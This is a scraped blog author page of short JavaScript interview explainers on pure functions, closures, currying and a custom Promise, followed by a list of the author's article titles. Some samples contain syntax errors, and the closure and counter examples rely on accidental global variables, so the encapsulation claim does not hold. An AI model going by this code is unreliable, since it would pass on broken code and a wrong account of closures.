console.log(getDriveExperience(beginnerCarDriver)) // Not a driver

let getDriveExperience1 = (driver) =>
  driver?.yearsOfExperience ?? "Not a driver"
console.log(getDriveExperience1(beginnerCarDriver)) // 0

References
MDN/||
MDN/&&

Previous posts

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

JS interview in 2 minutes / pure vs impure functions

Nick K — Fri, 21 May 2021 11:40:55 +0000

Question:
Explain the difference between pure and impure functions. What are the side effects?

Quick answer:
A pure function is a function that returns the same result for the same arguments, also this function doesn't have any side effects.

The side-effect is then function modify any data outside of its current scope.

Longer answer:
We can start with side effects, basically, this means that if you have some environment and you run a function with a side effect, something will be changed by this function in this environment.

Possible examples are - writing to file, displaying something to the user, making HTTP requests, modifying global variables, emitting events, ...

As for repeatable results, it is simpler to just give an example.

let add = (a, b) => a + b;
let mult = (a, b) => a * b;
let getProp = (name) => (obj) => obj[name]

All these functions are repeatable because they are providing the same result over the same arguments.

Btw there are no side effects -> they are pure ✨

Real-life applications:
Pure functions significantly simplify testing and debugging, also helps to reuse code easier.

If you don't depend on the environment it will be ridiculously easy to write tests.

Same for reusability, everyone should prefer just using something over setting the environment -> using something -> cleaning the environment.

Can you spot the issue here? 🔎

let headers = [
  ... // some regular headers
]

function getAuthData() {
  // ...
  headers.push({ Authorization: token })
  return http.get('/data', headers)
}

function externalService() {
  return http.get('http://other.service/api', headers)
}

let data1 = getAuthData()
let data2 = externalService()

Resources:
wiki/pure_functinos
wiki/side_effect

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

JS interview in 2 minutes / Closure

Nick K — Mon, 17 May 2021 09:49:56 +0000

Question:
Explain closures in JavaScript.

Quick answer:
It is a feature of JavaScript which allows you to access the context of the outer function from the inner function.

function getCounter() {
    count = 0
    return function {
        count += 1
        return count
    }
}

Longer answer:
As we learned before, there are Higher Order Functions in JavaScript, which means you can create and return functions out of the functions.

As we also know, functions can access each of their outer scopes.

function a() {
    let variable = "hello world"
    function b() {
      console.log(variable)
    }
    b()
}
a() // hello world

So what are closures? Closures extend previous examples in a bit. They preserve all context for a given function when we leave the parent function.

function a() {
    let variable = "hello world"
    function b() {
      console.log(variable)
    }
    return b
}

a()() //hello world

We have left the a function's scope during the run, but we still have reference to our variable. That is closure.

Closures even allow us to modify the enclosing variable.

function generateCounter() {
    count = 0
    return function() {
        count++
        return count 
    }
}

counter1 = generateCounter()
counter2 = generateCounter()

counter1() // 1
counter1() // 2
counter1() // 3
// ❗️ This counter is different
counter2() // 1

Real-life applications:
Closures are the reason why currying works in most cases.

let sum2 = a => b => a + b // spot the closure 🔎

Also, closures can help you to encapsulate some data from the public use.

function Counter() {
    _count = 0

    function inc() {
        return ++_count
    }

    function dec() {
        return --_count
    }

    function count() {
        return _count
    }

    return { inc, dec, count }
}

let counter = Counter()
counter.inc() // 1
counter.inc() // 2
counter.dec() // 1
counter.count() // 1
counter._count = 1000
counter.count() // 1
// ^^^ Still 1, hack with _count haven't worked out

If you want to share more valuable cases, please add them as comments and I will add links to them to the post itself 🤝

Resources:
MDN/Closures

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

JS interview in 2 minutes / Currying 🥘

Nick K — Fri, 14 May 2021 09:21:47 +0000

Question:
What is currying in JavaScript?

Quick answer:
It is a technique used to convert a function that takes multiple arguments into a chain of functions where every only takes one argument.

Longer answer:
Currying is basically all about Higher Order Functions. It is an application of JavaScript's ability to return functions from other functions.

We are replacing a function that takes n arguments with a set of n functions, which applied one by one gives exactly the same answer as original functions.

We can learn it by example right away. Btw it feels like this one is the most common one.

// regular implementation
function add1(a, b) {
  return a + b;
}

console.log(add1(2,5)) // 7

// curried implementation
function add2(a) {
  return function(b) {
    return a + b
  }
}

console.log(add2(2)(5)) // 7

That is it. This is what currying is.

UPD: btw, also check out @kspeakman note about currying vs non-currying partial application in the comments section

Real-life applications:
At first glance, it may look a bit weird 🤯 Why do we ever need to call a function separating arguments?

You can think of it as a function preparation for execution. If you have some common operation, e.g. getting an object property, you can move it to a curried version.

function searchUser {
  // ...
  user['id']
  // ...
}

function updateUser {
  // ...
  user['id']
  // ...
}

// user['id'] can be refactored with
let getUserId = user => user['id']

// Or you can go even further and implement generic getter
let pluck = name => object => object[name]
let getUserId = pluck('id')
let getUserName = pluck('name')

let name = getUserName(user)

So functions like this can be joined to some helpers library. And here is RxJS.pluck and here is Ramda.pluck.

Have a good curry 🥘

Resources:
wiki/Currying

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

JS interview in 2 minutes / Promise

Nick K — Wed, 12 May 2021 11:26:22 +0000

Question:
What is a Promise?

Quick answer:
It is an object which represents the current state and value of the operation. There are three states for Promises - pending, success, failure.

Longer answer:
Basically, the idea behind the Promises is fairly simple to understand. It is just a container that will only resolve when some calculations are done. That's it.

I guess it will be easier to understand if we just implement it on our own.

class MyPromise {
    dataHandlers = []
    errorHandler = []
    finalHandlers = []

    constructor(func) {
        // Apply handlers one by one and initialize every following handler with the previouses result
        let onResolve = data => this.dataHandlers.reduce(
            (acc, onData) => onData(acc), 
            data
        )
        // Just call every onReject
        let onReject = error => this.errorHandler.reduce(
            (_, onError) => onError(error),
            undefined
        )
        // Just call every onFinal
        let onFinal = () => this.finalHandlers.reduce(
            (_, onFinal) => onFinal(), 
            undefined
        )

        // We need to set timeout, so our function
        // executed after we set .then, .catch, and .finally
        setTimeout(() => {
            try {
                func(onResolve, onReject)
            } catch (error) {
                onReject(error)
            } finally {
                onFinal()
            }
        }, 0)
    }

    then(onData, onError) {
        if (onData) { this.dataHandlers.push(onData) }
        if (onError) { this.errorHandler.push(onError) }
        return this
    }

    catch(onError) {
        return this.then(undefined, onError)
    }

    finally(onFinal) {
        if (onFinal) { this.finalHandlers.push(onFinal) }
        return this
    }
}

Let's test it!

let dataPromise = new MyPromise((resolve, reject) => resolve(2))
dataPromise
    .then(res => res + 2)
    .then(res => res * 2)
    .then(res => console.log(res)) // 8
    .finally(() => console.log('Finally!')) // Finally!
    .finally(() => console.log('Finally (1)!')) // Finally (1)!

let rejectPromise = new MyPromise((resolve, reject) => reject(2))
rejectPromise
    .then(res => res + 2)
    .then(res => res * 2)
    .then(res => console.log(res))
    .catch(error => console.error(error)) // 2
    .finally(() => console.log('Finally!')) // Finally!

let throwErrorPromise = new MyPromise((resolve, reject) => { throw new Error('hello') })
throwErrorPromise
    .then(res => res + 2)
    .then(res => res * 2)
    .then(res => console.log(res))
    .catch(error => console.error(error)) // hello
    .finally(() => console.log('Finally!')) // Finally

// This one will produce two errors instead of one.
// Can you come up with the fix?
let doubleErrorPromise = new MyPromise((resolve, reject) => reject('first'))
doubleErrorPromise
    .catch(error => { console.error(error); throw 'second' })
// 'first'
// 'second'
// Uncaught 'second'

// This is how it should work
let fixedDoubleErrorPromise = new Promise((resolve, reject) => reject('first'))
fixedDoubleErrorPromise
    .catch(error => { console.error(error); throw 'second' })
// 'first'
// Uncaught 'second'

Real-life applications:
Sometimes it is a bit easier to use async/await syntax

And sometimes you will need Promise helpers functions like Promise.all

Resources:
MDN/Promise

Other posts:

Btw, I will post more fun stuff here and on Twitter. Let's be friends 👋

DEV Community: Nick K

🏆 Ultimate productivity system

Take care of yourself.

😴 Sleep

🥗 Food

🕺💃 Exercise

Focus

🎯 Choose the Goal

🛡️ Guard your time

Balance

Life lessons that Elden Ring can teach us

Intro

👝 Starting stats matters, but not in long term

😓 Don't knock the closed door, prepare instead

🗡️ Equip a better gear

🌐 Search for guides and best practices online

🤝 Ask a friend for help

🧀 Try to cheese it

🧙‍♂️ Experiment with different builds

🧘 Instead of panicking, calm down and breath

Final thoughts

Injecting backdoors to NPM packages

Installing package

Copying package

Alter sources

Serve this package

Altering lock file

Check if it works

Why is it matter?

Final notes

Related articles

Deep dive into React keys bugs

What are React keys anyway

Case 1. Performance issues

Case 2. Bugs with inputs

Case 3. Bugs with effects & DOM manipulations

Case 4. Bugs with animations

Final notes

References

Django Templates with React

Django Templates with React

Idea

Routing

Bundle size

Context data

Final notes

JS interview in 2 minutes / var ⚔️ let ⚔️ const

JS interview in 2 minutes / Memoization 💭

Hidden power of || and &&

JS interview in 2 minutes / pure vs impure functions

JS interview in 2 minutes / Closure

JS interview in 2 minutes / Currying 🥘

JS interview in 2 minutes / Promise